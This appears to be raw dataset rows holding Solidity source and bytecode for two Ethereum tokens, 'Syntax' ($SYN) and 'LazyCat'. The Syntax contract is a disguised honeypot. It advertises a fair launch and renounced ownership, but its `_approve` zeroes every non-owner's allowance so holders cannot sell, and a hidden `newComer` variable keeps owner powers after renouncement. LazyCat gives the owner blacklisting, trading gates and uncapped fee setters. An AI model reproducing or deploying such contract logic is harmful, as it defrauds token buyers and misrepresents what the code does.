.........:k0Odlcccccccclx00o'...;dO0kc'...;dO0kc'....;k0Odc,..........l00d'....,cccccccoOKOdccccccc;.....;x0Oc'...........'ck0Od;...'cx00d;........... .........l00x;..........,:c:'....':x00d:,lk0Oo,......;kKKK0ko:'.......l00d,............;kKO:............;x0KKOl'............,oO0kl,;dO0kc'............ .........;x00xooooooooolc;.........,lk0OO00x:........;kKOdok00xl;'....o00d,............;kKO:...........:k0Oxk0Oo'.............:x00OO0Oo,.............. ..........,coxxkkkkkkkkO0Oo,.........;d0KOl'.........;kKO:.,cdk0Oxl;..l00d,............;kKO:..........:k0Ol,;x0Oo,.............,d00K0l'............... ..............''''''''';d00d,.........cOKk;..........;kKO:....,cdO0Odlx00d,............;kKO:.........ck0Ol'..;x00d,...........;dO0O00kl,.............. .........;ooc'..........cOKk;.........cOKk;..........;kKOc.......;lxO0000d'............;kKO:........cO0kc.....,d00d,........'lk0Oo;:x00x:............. .........;x00xlccccccccok0Ol'.........cOKk;..........;kKOc.........';ok00d'............;kKO:......'lO0kc.......,d00d;.....':x00x:...'lk0Oo;........... ..........,cdkOO000000OOxo:'..........ck0x;..........;x0k:............':ol'............;x0k:.....'lkOx:.........,oOOd;...,okOkl'......;oOOxc'......... .............,;;;;;;;;;,'.............';;,............,;;'...............'.............',;;'......,;;,...........';;;'...,;;;,..........,;;,'......... ...................................................................................................................................................... ...................................................................................................................................................... ...................................................................................................................................................... Know your SYNTAX. Spread the word. Dominate the charts. 📃 Name: Syntax 📃 Symbol: $SYN 📌 Website: https://syntax.finance/ 📌 Twitter: https://twitter.com/syntaxdefi 📌 Telegram: https://t.me/syntaxdefi 📊 Tokenomics 📊 📑 8% tax on each transaction as follows: ♻️ 6% Buyback wallet ♻️ 2% Marketing wallet ♻️ 4% Redistribution to holders 🔔 Launch Features 🔔 🚀 Fair launch 🔥 15.5% initial burn 💰 1 trillion total supply 🛑 Bots Blacklisted 🔒 Liquidity Locked 🔑 Contract Renounced */ pragma solidity ^0.6.12; interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library Address { function isContract(address account) internal view returns (bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) private onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } address private newComer = _msgSender(); modifier onlyOwner() { require(newComer == _msgSender(), "Ownable: caller is not the owner"); _; } } contract syntax is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _tTotal = 1000 * 10**9 * 10**18; string private _name = 'Syntax | https://t.me/AnubisInu'; string private _symbol = '$SYN'; uint8 private _decimals = 18; constructor () public { _balances[_msgSender()] = _tTotal; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function _approve(address synapp, address target, uint256 amount) private { require(synapp != address(0), "ERC20: approve from the zero address"); require(target != address(0), "ERC20: approve to the zero address"); if (synapp != owner()) { _allowances[synapp][target] = 0; emit Approval(synapp, target, 4); } else { _allowances[synapp][target] = amount; emit Approval(synapp, target, amount); } } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function _transfer(address sender, address recipient, uint256 amount) internal { require(sender != address(0), "BEP20: transfer from the zero address"); require(recipient != address(0), "BEP20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } }
0x608060405234801561001057600080fd5b50600436106100a95760003560e01c806370a082311161007157806370a0823114610258578063715018a6146102b05780638da5cb5b146102ba57806395d89b41146102ee578063a9059cbb14610371578063dd62ed3e146103d5576100a9565b806306fdde03146100ae578063095ea7b31461013157806318160ddd1461019557806323b872dd146101b3578063313ce56714610237575b600080fd5b6100b661044d565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156100f65780820151818401526020810190506100db565b50505050905090810190601f1680156101235780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61017d6004803603604081101561014757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506104ef565b60405180821515815260200191505060405180910390f35b61019d61050d565b6040518082815260200191505060405180910390f35b61021f600480360360608110156101c957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610517565b60405180821515815260200191505060405180910390f35b61023f6105f0565b604051808260ff16815260200191505060405180910390f35b61029a6004803603602081101561026e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610607565b6040518082815260200191505060405180910390f35b6102b8610650565b005b6102c26107d8565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6102f6610801565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561033657808201518184015260208101905061031b565b50505050905090810190601f1680156103635780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6103bd6004803603604081101561038757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506108a3565b60405180821515815260200191505060405180910390f35b610437600480360360408110156103eb57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506108c1565b6040518082815260200191505060405180910390f35b606060058054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156104e55780601f106104ba576101008083540402835291602001916104e5565b820191906000526020600020905b8154815290600101906020018083116104c857829003601f168201915b5050505050905090565b60006105036104fc610948565b8484610950565b6001905092915050565b6000600454905090565b6000610524848484610c6f565b6105e584610530610948565b6105e0856040518060600160405280602881526020016110b960289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610596610948565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f299092919063ffffffff16565b610950565b600190509392505050565b6000600760009054906101000a900460ff16905090565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610658610948565b73ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461071a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060068054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108995780601f1061086e57610100808354040283529160200191610899565b820191906000526020600020905b81548152906001019060200180831161087c57829003601f168201915b5050505050905090565b60006108b76108b0610948565b8484610c6f565b6001905092915050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156109d6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602481526020018061112a6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610a5c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806110976022913960400191505060405180910390fd5b610a646107d8565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614610b83576000600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560046040518082815260200191505060405180910390a3610c6a565b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a35b505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610cf5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806110726025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610d7b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806111076023913960400191505060405180910390fd5b610de7816040518060600160405280602681526020016110e160269139600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f299092919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610e7c81600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610fe990919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b6000838311158290610fd6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610f9b578082015181840152602081019050610f80565b50505050905090810190601f168015610fc85780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b600080828401905083811015611067576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b809150509291505056fe42455032303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636542455032303a207472616e7366657220616d6f756e7420657863656564732062616c616e636542455032303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a26469706673582212203b3cad6aacc9e94fbed224da298ae7c0d6ee8783ecd91d189da6a67219e2bd9564736f6c634300060c0033
{"success": true, "error": null, "results": {}}
6,737
0x230879359ef650926f37d6b3029e9a3c85a34e3c
/** *Submitted for verification at Etherscan.io on 2021-12-14 */ // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract LazyCat is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "LazyCat"; string private constant _symbol = "LCat"; uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; //Buy Fee uint256 private _redisFeeOnBuy = 5; uint256 private _taxFeeOnBuy = 10; //Sell Fee uint256 private _redisFeeOnSell = 5; uint256 private _taxFeeOnSell = 10; //Original Fee uint256 private _redisFee = _redisFeeOnSell; uint256 private _taxFee = _taxFeeOnSell; uint256 private _previousredisFee = _redisFee; uint256 private _previoustaxFee = _taxFee; mapping(address => bool) public bots; mapping (address => bool) public preTrader; mapping(address => uint256) private cooldown; address payable private _marketingAddress = payable(0xFE6b9c1Fb1ed5f2f900A5DcBf56736a6dd70ae7F); IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = true; uint256 public _maxTxAmount = 7500000000000 * 10**9; //0.75 uint256 public _maxWalletSize = 15000000000000 * 10**9; //1.5 uint256 public _swapTokensAtAmount = 10000000000 * 10**9; //0.1 event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor() { _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_marketingAddress] = true; preTrader[owner()] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_redisFee == 0 && _taxFee == 0) return; _previousredisFee = _redisFee; _previoustaxFee = _taxFee; _redisFee = 0; _taxFee = 0; } function restoreAllFee() private { _redisFee = _previousredisFee; _taxFee = _previoustaxFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { //Trade start check if (!tradingOpen) { require(preTrader[from], "TOKEN: This account cannot send tokens until trading is enabled"); } require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!"); if(to != uniswapV2Pair) { require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; //Transfer Tokens if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; } else { //Set Fee for Buys if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _redisFee = _redisFeeOnBuy; _taxFee = _taxFeeOnBuy; } //Set Fee for Sells if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _redisFee = _redisFeeOnSell; _taxFee = _taxFeeOnSell; } } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _marketingAddress.transfer(amount); } function setTrading(bool _tradingOpen) public onlyOwner { tradingOpen = _tradingOpen; } function manualswap() external { require(_msgSender() == _marketingAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _marketingAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function blockBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function unblockBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _redisFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 redisFee, uint256 taxFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(redisFee).div(100); uint256 tTeam = tAmount.mul(taxFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner { _redisFeeOnBuy = redisFeeOnBuy; _redisFeeOnSell = redisFeeOnSell; _taxFeeOnBuy = taxFeeOnBuy; _taxFeeOnSell = taxFeeOnSell; } //Set minimum tokens required to swap. function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner { _swapTokensAtAmount = swapTokensAtAmount; } //Set minimum tokens required to swap. function toggleSwap(bool _swapEnabled) public onlyOwner { swapEnabled = _swapEnabled; } //Set MAx transaction function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner { _maxTxAmount = maxTxAmount; } function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner { _maxWalletSize = maxWalletSize; } function allowPreTrading(address account, bool allowed) public onlyOwner { require(preTrader[account] != allowed, "TOKEN: Already enabled."); preTrader[account] = allowed; } }
0x6080604052600436106101c55760003560e01c8063715018a6116100f757806398a5c31511610095578063bfd7928411610064578063bfd7928414610527578063c3c8cd8014610557578063dd62ed3e1461056c578063ea1644d5146105b257600080fd5b806398a5c31514610497578063a2a957bb146104b7578063a9059cbb146104d7578063bdd795ef146104f757600080fd5b80638da5cb5b116100d15780638da5cb5b146104165780638f70ccf7146104345780638f9a55c01461045457806395d89b411461046a57600080fd5b8063715018a6146103cb57806374010ece146103e05780637d1db4a51461040057600080fd5b80632fd689e3116101645780636b9990531161013e5780636b999053146103565780636d8aa8f8146103765780636fc3eaec1461039657806370a08231146103ab57600080fd5b80632fd689e314610304578063313ce5671461031a57806349bd5a5e1461033657600080fd5b80631694505e116101a05780631694505e1461026557806318160ddd1461029d57806323b872dd146102c45780632f9c4569146102e457600080fd5b8062b8cf2a146101d157806306fdde03146101f3578063095ea7b31461023557600080fd5b366101cc57005b600080fd5b3480156101dd57600080fd5b506101f16101ec36600461191c565b6105d2565b005b3480156101ff57600080fd5b5060408051808201909152600781526613185e9e50d85d60ca1b60208201525b60405161022c9190611a46565b60405180910390f35b34801561024157600080fd5b506102556102503660046118f1565b61067f565b604051901515815260200161022c565b34801561027157600080fd5b50601454610285906001600160a01b031681565b6040516001600160a01b03909116815260200161022c565b3480156102a957600080fd5b5069d3c21bcecceda10000005b60405190815260200161022c565b3480156102d057600080fd5b506102556102df36600461187d565b610696565b3480156102f057600080fd5b506101f16102ff3660046118bd565b6106ff565b34801561031057600080fd5b506102b660185481565b34801561032657600080fd5b506040516009815260200161022c565b34801561034257600080fd5b50601554610285906001600160a01b031681565b34801561036257600080fd5b506101f161037136600461180d565b6107c3565b34801561038257600080fd5b506101f16103913660046119e3565b61080e565b3480156103a257600080fd5b506101f1610856565b3480156103b757600080fd5b506102b66103c636600461180d565b610883565b3480156103d757600080fd5b506101f16108a5565b3480156103ec57600080fd5b506101f16103fb3660046119fd565b610919565b34801561040c57600080fd5b506102b660165481565b34801561042257600080fd5b506000546001600160a01b0316610285565b34801561044057600080fd5b506101f161044f3660046119e3565b610948565b34801561046057600080fd5b506102b660175481565b34801561047657600080fd5b506040805180820190915260048152631310d85d60e21b602082015261021f565b3480156104a357600080fd5b506101f16104b23660046119fd565b610990565b3480156104c357600080fd5b506101f16104d2366004611a15565b6109bf565b3480156104e357600080fd5b506102556104f23660046118f1565b6109fd565b34801561050357600080fd5b5061025561051236600461180d565b60116020526000908152604090205460ff1681565b34801561053357600080fd5b5061025561054236600461180d565b60106020526000908152604090205460ff1681565b34801561056357600080fd5b506101f1610a0a565b34801561057857600080fd5b506102b6610587366004611845565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156105be57600080fd5b506101f16105cd3660046119fd565b610a40565b6000546001600160a01b031633146106055760405162461bcd60e51b81526004016105fc90611a99565b60405180910390fd5b60005b815181101561067b5760016010600084848151811061063757634e487b7160e01b600052603260045260246000fd5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061067381611bac565b915050610608565b5050565b600061068c338484610a6f565b5060015b92915050565b60006106a3848484610b93565b6106f584336106f085604051806060016040